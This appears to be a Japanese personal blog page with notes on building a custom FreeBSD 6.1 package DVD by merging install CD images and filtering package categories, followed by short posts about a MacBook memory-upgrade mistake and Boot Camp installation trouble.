Exclude: /pub/FreeBSD/(doc|CERT|development|branches|snapshots|updates|releases/
(alpha|amd64|ia64|sparc64)|ports/(distfiles|alpha|amd64|ia64|sparc64)|doc/
(mailing|newsletter|de|es|es|fr|it|ru|sr|zh).*|ports/i386/
packages-(3.\*|4\.[23456789].\*|5\.[0123]|.*-current)|releases/i386/
(3.\*|4\.[23456789].\*|5\.[0123]|.*-CURRENT)|releases/i386/ISO-IMAGES/
(3.\*|4\.[23456789].\*|5\.[0123])|releases/pc98/5\.[0123]) 2. インストールCDイメージの確認と展開
FreeBSD/ISO-IMAGES-i386/<バージョン>/ディレクトリ以下にあるインストールCDイメージをloopbackマウントする。また、事前にチェックサムは確認しておく。

3. インストールCDのマージ
インストールCD1とCD2をマージする。/cdrom.infはCD1のものを保持。
・CD1をコピー
# cp -a test_disk1 hogehoge

・CD1とCD2のマージ

ディレクトリツリーの複製

# cd test_disk2

\# find . -type d -exec mkdir hogehoge/{} \; (ファイルの上書きエラーが出るが無視)
ファイルのコピー
# find . ! -type d -exec cp -a {} hogehoge/{} \;
  1. 基本収録パッケージの抽出
# cat hogehoge/packages/INDEX | cut -d \| -f 1 > basic_pkgs
  1. 作業ディレクトリの作成
# cp -a FreeBSD60_work2 FreeBSD61
  1. カタログリスト作成
$ /bin/ls -1 /RAID/pub/FreeBSD/ports/i386/packages-6.1-release > categories.org

その後、適当にチェックしてAll、INDEX、Latestなどは除去



7. 必要なカテゴリ、必要じゃなさそうなカテゴリを分類。

http://www.freebsd.org/ja/ports/

のあたりを参照。

結構削除しないとDVDには収まらない。

$ cp categories.org categories_selection

・日本語以外の他言語はいらない

arabic

chinese

french

german

hebrew

hungarian

korean

polish

portuguese

russian

ukrainian

vietnamese



8. インデックス作成

$ ./FreeBSD_mk_index6.0 -a /RAID/pub/ -i INDEX -l 4000 -n include_category -t exclude_category -p ../../basic_pkgs



ちなみにDVD-ROMはMAX4480MB。




MacBookの最下位モデルは(メモリ増設をするつもりなら)買ってはいけない……

MacBook。早速開封、メモリ増設。


Σ(°o°)ハッ。512MB実装って、256MB×2じゃねーか!!!

てっきり512MB×1かと思って512MBメモリを用意していた自分(汗)



しょうがないので、とりあえず一枚だけ入れ替えて768MB構成に。

しかし、同容量2枚じゃないとメモリアクセス遅くなるんだよな……。



ということで、やっぱり+2万出してメモリ1GB、HDD80GB、スーパードライブモデルを買うべきでした(汗)



しかも、メモリとセットで買ったWindows XP Media Center Edition、そのままだとBootCampでインストールできないのね(CD2枚組みのため)。

DVDに焼き直せばいけるらしいんだけど面倒くさい……



ということで、いろいろと調べずに買った結果ハマりまくっているMacBookでした。

まだ開封していないMacBook

せっかく買ったのにまだ段ボールすら開けていないMacBook。なんだかんだ言ってまだiBookがストレス無く使えているからなんだけど、さすがに動作確認位はしておかねばなぁ……